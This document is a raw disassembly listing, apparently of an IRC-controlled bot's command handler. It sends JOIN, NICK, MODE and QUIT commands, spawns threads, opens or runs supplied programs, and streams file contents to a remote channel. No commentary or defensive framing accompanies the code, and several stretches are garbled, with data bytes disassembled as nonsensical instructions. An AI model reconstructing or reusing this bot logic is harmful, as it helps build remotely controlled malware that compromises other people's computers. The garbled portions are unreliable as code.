		jle	loc_410E98
		push	edi
		call	sub_413B1F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_40F33C:				; CODE XREF: seg000:0040F2C5j
		push	offset dword_42988C
		jmp	loc_40DC0A
; ---------------------------------------------------------------------------


loc_40F346:				; CODE XREF: seg000:0040D6B3j
					; seg000:0040D6CAj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_429884
		push	eax
		call	sub_4135AD
		push	edi
		call	sub_413B1F
		add	esp, 10h


loc_40F363:				; CODE XREF: seg000:0040F3CDj
		test	eax, eax
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98


loc_40F37D:				; CODE XREF: seg000:0040FC62j
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_42987C
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_41106A


loc_40F3A1:				; CODE XREF: seg000:00410AFDj
		add	esp, 0Ch
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: seg000:0040D685j
					; seg000:0040D69Cj
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+20h]
		push	offset dword_429870
		push	eax
		call	sub_4135AD
		push	edi
		call	sub_413B1F
		add	esp, 14h
		jmp	short loc_40F363
; ---------------------------------------------------------------------------


loc_40F3CF:				; CODE XREF: seg000:0040D657j
					; seg000:0040D66Ej
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_429868
		push	eax
		call	sub_4135AD
		push	edi
		call	sub_413B1F
		add	esp, 10h
		test	eax, eax
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_42987C
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_41106A
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_429838


loc_40F433:				; CODE XREF: seg000:0040F4BDj
					; seg000:0040F528j ...
		call	sub_409689


loc_40F438:				; CODE XREF: seg000:004107CDj
		add	esp, 18h
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40F440:				; CODE XREF: seg000:0040D629j
					; seg000:0040D640j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40F471
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_429830
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_40F471:				; CODE XREF: seg000:0040F45Aj
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_42987C
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_41106A
		push	esi
		push	edi
		push	offset dword_429800
		jmp	loc_40F433
; ---------------------------------------------------------------------------


loc_40F4C2:				; CODE XREF: seg000:0040D5FBj
					; seg000:0040D612j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_410E98
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98
		push	esi
		push	offset dword_42987C
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_41106A
		push	esi
		push	edi
		push	offset dword_4297D0
		jmp	loc_40F433
; ---------------------------------------------------------------------------


loc_40F52D:				; CODE XREF: seg000:0040D5CDj
					; seg000:0040D5E4j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_410E98
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	esi
		push	offset dword_429794


loc_40F55F:				; CODE XREF: seg000:0040FE07j
					; seg000:0040FE20j ...
		call	sub_409689


loc_40F564:				; CODE XREF: seg000:0040F5CDj
		add	esp, 14h
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40F56C:				; CODE XREF: seg000:0040D59Fj
					; seg000:0040D5B6j
		push	dword ptr [ebp-90h]
		push	offset dword_42B7D8
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B71F
		push	dword ptr [ebp+20h]
		push	offset dword_429788
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	edi
		call	sub_413B1F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41F058	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	offset dword_429760
		call	sub_409615
		jmp	short loc_40F564
; ---------------------------------------------------------------------------


loc_40F5CF:				; CODE XREF: seg000:0040D571j
					; seg000:0040D588j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		call	sub_413DB0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_413DB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413B80
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_410E98
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_42A000
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	esi
		push	edi
		push	offset dword_429730
		call	sub_409689
		add	esp, 2Ch
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40F63D:				; CODE XREF: seg000:0040D543j
					; seg000:0040D55Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		call	sub_413DB0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_413DB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413B80
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_410E98
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	esi
		push	edi
		push	offset dword_429700
		call	sub_409689
		jmp	loc_40E26B
; ---------------------------------------------------------------------------


loc_40F690:				; CODE XREF: seg000:0040D515j
					; seg000:0040D52Cj
		cmp	[ebp-0Ch], ebx
		jz	loc_40B71F
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40B71F
		push	eax
		push	edi
		call	near ptr loc_409519+4
; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_4296D0
		push	eax
		call	sub_4135AD


loc_40F6C7:				; CODE XREF: seg000:0040EE9Fj
		add	esp, 14h
		jmp	loc_40DCB7
; ---------------------------------------------------------------------------


loc_40F6CF:				; CODE XREF: seg000:0040D4D5j
					; seg000:0040D4ECj
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E98
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_40F76C
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40F754
		push	esi
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_429930
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_414DD0
		push	esi
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_429698
		push	eax
		call	sub_4135AD
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4109E0
; ---------------------------------------------------------------------------


loc_40F754:				; CODE XREF: seg000:0040F6FCj
		lea	eax, [ebp-2C8h]
		push	offset dword_429654
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	loc_4109E0
; ---------------------------------------------------------------------------


loc_40F76C:				; CODE XREF: seg000:0040F6EBj
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40922D
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	edi
		push	offset dword_429628
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 24h
		jmp	loc_4109E0
; ---------------------------------------------------------------------------


loc_40F7B3:				; CODE XREF: seg000:0040CEDAj
					; seg000:0040CEF1j
		push	offset aR	; "r"
		push	edi
		call	sub_413CA8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40F82D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_4151CC
		add	esp, 0Ch


loc_40F7DC:				; CODE XREF: seg000:0040F80Bj
		test	eax, eax
		jz	short loc_40F80D
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_4151CC
		add	esp, 20h
		jmp	short loc_40F7DC
; ---------------------------------------------------------------------------


loc_40F80D:				; CODE XREF: seg000:0040F7DEj
		push	esi
		call	sub_413C00
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_4295F0
		push	eax
		call	sub_4135AD
		add	esp, 10h
		jmp	loc_40D4AD
; ---------------------------------------------------------------------------


loc_40F82D:				; CODE XREF: seg000:0040F7C4j
		push	edi
		push	offset dword_4295BC
		jmp	loc_410D73
; ---------------------------------------------------------------------------


loc_40F838:				; CODE XREF: seg000:0040CEACj
					; seg000:0040CEC3j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_410E98
		push	offset asc_423020 ; "\n"
		push	esi
		call	sub_413CD0
		push	esi
		call	sub_408A91
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40F878
		push	offset dword_42957C
		jmp	near ptr loc_40F046+3
; ---------------------------------------------------------------------------


loc_40F878:				; CODE XREF: seg000:0040F86Cj
		push	esi
		push	offset dword_429550
		jmp	loc_4109D1
; ---------------------------------------------------------------------------


loc_40F883:				; CODE XREF: seg000:0040CE7Ej
					; seg000:0040CE95j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_410E98
		push	eax
		call	sub_408175
		test	eax, eax
		pop	ecx
		jnz	short loc_40F8B4
		push	offset unk_429520
		jmp	near ptr loc_40F046+3
; ---------------------------------------------------------------------------


loc_40F8B4:				; CODE XREF: seg000:0040F8A8j
		push	offset dword_4294F0
		jmp	near ptr loc_40F046+3
; ---------------------------------------------------------------------------


loc_40F8BE:				; CODE XREF: seg000:0040CE50j
					; seg000:0040CE67j
		push	7Fh
		lea	eax, [ebp-6F4h]
		push	edi
		push	eax
		call	sub_414DD0
		mov	esi, [ebp+esi-8Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40F8ED
		push	7Fh
		lea	eax, [ebp-674h]
		push	esi
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_40F8ED:				; CODE XREF: seg000:0040F8D9j
		push	7Fh
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_414DD0
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-6F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		mov	eax, [ebp-4]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4294C4
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	14h
		push	eax
		call	sub_413059
		add	esp, 24h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	ebx
		push	eax
		push	offset sub_4092F3
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40F98B


loc_40F975:				; CODE XREF: seg000:0040F989j
		cmp	[ebp-568h], ebx
		jnz	loc_4109E0
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40F975
; ---------------------------------------------------------------------------


loc_40F98B:				; CODE XREF: seg000:0040F973j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429474
		jmp	loc_4109D1
; ---------------------------------------------------------------------------


loc_40F99C:				; CODE XREF: seg000:0040CE22j
					; seg000:0040CE39j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_404858
		push	edi
		push	offset dword_42944C
		jmp	loc_40F433
; ---------------------------------------------------------------------------


loc_40F9B7:				; CODE XREF: seg000:0040CDF4j
					; seg000:0040CE0Bj
		push	14h
		lea	eax, [ebp-710h]
		push	ebx
		push	eax
		call	sub_413630
		push	edi
		lea	eax, [ebp-6FCh]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-5F8h]
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_429414
		push	eax


loc_40FA25:				; CODE XREF: seg000:0040FA9Ej
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_413059
		add	esp, 40h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset sub_409BA0
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40FA87


loc_40FA71:				; CODE XREF: seg000:0040FA85j
		cmp	[ebp-568h], ebx
		jnz	loc_410D58
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40FA71
; ---------------------------------------------------------------------------


loc_40FA87:				; CODE XREF: seg000:0040FA6Fj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B6D8
		jmp	loc_410D49
; ---------------------------------------------------------------------------


loc_40FA98:				; CODE XREF: seg000:0040CDC6j
					; seg000:0040CDDDj
		push	edi
		call	near ptr 0A70000h
		jnb	short loc_40FA25
		sal	byte ptr [eax+ecx+57h],	68h
		in	al, 93h
		inc	edx
		add	bl, ch
		or	ebp, [eax+2Ch]
		wait
		inc	edx
		add	al, ch
		sti
		test	edi, edi
		call	dword ptr [eax-73h]
		test	[eax], edi
		std
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 10h
		jmp	loc_40D48C
; ---------------------------------------------------------------------------


loc_40FACF:				; CODE XREF: seg000:0040CD98j
					; seg000:0040CDAFj
		push	edi
		call	sub_413B1F
		push	eax
		call	near ptr sub_4123C5
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_40FAEC
		push	offset dword_4293AC
		jmp	short loc_40FAF1
; ---------------------------------------------------------------------------


loc_40FAEC:				; CODE XREF: seg000:0040FAE3j
		push	offset dword_429364


loc_40FAF1:				; CODE XREF: seg000:0040FAEAj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40D4B0
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h
		jmp	loc_40D4B0
; ---------------------------------------------------------------------------


loc_40FB2A:				; CODE XREF: seg000:0040CD6Aj
					; seg000:0040CD81j
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_412136
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40FB4C
		push	offset dword_42932C
		jmp	loc_410D73
; ---------------------------------------------------------------------------


loc_40FB4C:				; CODE XREF: seg000:0040FB40j
		push	offset dword_4292E8
		jmp	loc_410D73
; ---------------------------------------------------------------------------


loc_40FB56:				; CODE XREF: seg000:0040CD3Cj
					; seg000:0040CD53j
		push	edi
		call	ds:dword_42F748
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_40FB93
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_42F6C0
		cmp	eax, ebx
		jz	short loc_40FBAE
		push	dword ptr [eax]


loc_40FB79:				; CODE XREF: seg000:0040FBACj
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_4292B8
		push	eax
		call	sub_4135AD
		add	esp, 10h
		jmp	loc_40DC19
; ---------------------------------------------------------------------------


loc_40FB93:				; CODE XREF: seg000:0040FB63j
		push	edi
		call	ds:dword_42F78C
		cmp	eax, ebx
		jz	short loc_40FBAE
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_42F794
		push	eax
		jmp	short loc_40FB79
; ---------------------------------------------------------------------------


loc_40FBAE:				; CODE XREF: seg000:0040FB75j
					; seg000:0040FB9Cj
		push	offset dword_42927C
		jmp	near ptr loc_40F046+3
; ---------------------------------------------------------------------------


loc_40FBB8:				; CODE XREF: seg000:0040CD0Ej
					; seg000:0040CD25j
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_414DD0
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_429244
		push	eax
		call	sub_4135AD
		add	esp, 18h
		jmp	loc_40D1C9
; ---------------------------------------------------------------------------


loc_40FBDD:				; CODE XREF: seg000:0040CCE0j
					; seg000:0040CCF7j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_42F67C
		test	eax, eax
		push	edi
		jz	short loc_40FBFD
		push	offset unk_429214
		jmp	loc_410D73
; ---------------------------------------------------------------------------


loc_40FBFD:				; CODE XREF: seg000:0040FBF1j
		push	offset unk_4291DC
		jmp	loc_410D73
; ---------------------------------------------------------------------------


loc_40FC07:				; CODE XREF: seg000:0040CCB2j
					; seg000:0040CCC9j
		mov	al, [edi]
		mov	ds:byte_42823C,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_4291A4
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_40FC1C:				; CODE XREF: seg000:0040CC84j
					; seg000:0040CC9Bj
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_412797
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_429868
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		jmp	loc_40F37D
; ---------------------------------------------------------------------------


loc_40FC67:				; CODE XREF: seg000:0040CC56j
					; seg000:0040CC6Dj
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	loc_40B71F
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40B71F
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_41106A
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_41F058	; Sleep
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	ds:dword_42F7A0
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348AC[eax]
		call	near ptr 0A70000h
		test	eax, 3E32E857h
; ---------------------------------------------------------------------------
		db 0
		dd 34C06900h, 57000002h, 48AC9889h, 20E80043h, 6900003Eh
		dd 234C0h, 88595900h, 43469898h, 0BA0DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_40FD12:				; CODE XREF: seg000:0040CC28j
					; seg000:0040CC3Fj
		push	edi
		push	offset aAll	; "all"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD41
		call	sub_413222
		cmp	eax, ebx
		jle	short loc_40FD37
		push	eax
		push	offset dword_429154
		jmp	loc_40DCA8
; ---------------------------------------------------------------------------


loc_40FD37:				; CODE XREF: seg000:0040FD2Aj
		push	offset dword_429118
		jmp	loc_410536
; ---------------------------------------------------------------------------


loc_40FD41:				; CODE XREF: seg000:0040FD21j
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40B71F
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_40FD5D:				; CODE XREF: seg000:0040FDCEj
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40B71F
		push	esi
		call	sub_413B1F
		push	eax
		call	sub_413194
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40FD84
		push	offset dword_4290E0
		jmp	short loc_40FD89
; ---------------------------------------------------------------------------


loc_40FD84:				; CODE XREF: seg000:0040FD7Bj
		push	offset dword_4290A0


loc_40FD89:				; CODE XREF: seg000:0040FD82j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40FDB9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_40FDB9:				; CODE XREF: seg000:0040FD9Bj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40FD5D
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40FDD5:				; CODE XREF: seg000:0040CBFAj
					; seg000:0040CC11j
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_410E98
		push	esi
		push	offset dword_42987C
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	esi
		push	offset dword_429074
		jmp	loc_40F55F
; ---------------------------------------------------------------------------


loc_40FE0C:				; CODE XREF: seg000:0040CBCCj
					; seg000:0040CBE3j
		push	edi
		push	offset dword_429788
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	edi
		push	offset dword_429040
		jmp	loc_40F55F
; ---------------------------------------------------------------------------


loc_40FE25:				; CODE XREF: seg000:0040CB9Ej
					; seg000:0040CBB5j
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	edi
		push	offset dword_42900C
		jmp	loc_40F433
; ---------------------------------------------------------------------------


loc_40FE45:				; CODE XREF: seg000:0040CB70j
					; seg000:0040CB87j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	edi
		push	offset dword_428FD4
		jmp	loc_40F55F
; ---------------------------------------------------------------------------


loc_40FE5E:				; CODE XREF: seg000:0040CB35j
					; seg000:0040CB4Aj
		mov	al, ds:byte_42373A
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_42373A
		jz	loc_40B71F
		mov	ecx, edx


loc_40FE75:				; CODE XREF: seg000:0040FE7Dj
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40FE75
		cmp	al, bl
		jz	loc_40B71F
		mov	[ebp+20h], edx


loc_40FE8A:				; CODE XREF: seg000:00410148j
		push	8
		call	sub_4132A1
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_40FED9
		push	ecx
		lea	eax, [ebp-2C8h]
		push	offset dword_42A130
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 20h
		jmp	loc_41013F
; ---------------------------------------------------------------------------


loc_40FED9:				; CODE XREF: seg000:0040FEA4j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_4236A0, ebx
		mov	dword ptr [ebp-304h], 1Eh
		mov	dword ptr [ebp-318h], 7
		mov	dword ptr [ebp-314h], 0B4h
		mov	[ebp+8], ebx
		jz	short loc_40FF4A
		mov	eax, [ebp+20h]
		mov	edi, offset dword_4236A0
		lea	esi, [eax-0Ah]


loc_40FF14:				; CODE XREF: seg000:0040FF2Cj
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FF30
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40FF14
		jmp	short loc_40FF4A
; ---------------------------------------------------------------------------


loc_40FF30:				; CODE XREF: seg000:0040FF22j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_4236A0[ecx]
		mov	[ebp-31Ch], ecx


loc_40FF4A:				; CODE XREF: seg000:0040FF07j
					; seg000:0040FF2Ej
		cmp	[ebp-31Ch], ebx
		jz	loc_410153
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42F6AC
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_414DD0
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_4150D0
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_40FFEC


loc_40FFCA:				; CODE XREF: seg000:0040FFEAj
		cmp	eax, ebx
		jz	short loc_40FFEC
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_4150D0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40FFCA


loc_40FFEC:				; CODE XREF: seg000:0040FFC8j
					; seg000:0040FFCCj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_413B2A
		mov	edi, offset dword_4282D8
		push	offset byte_42E348
		push	edi
		call	sub_4139D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_410056
		push	edi
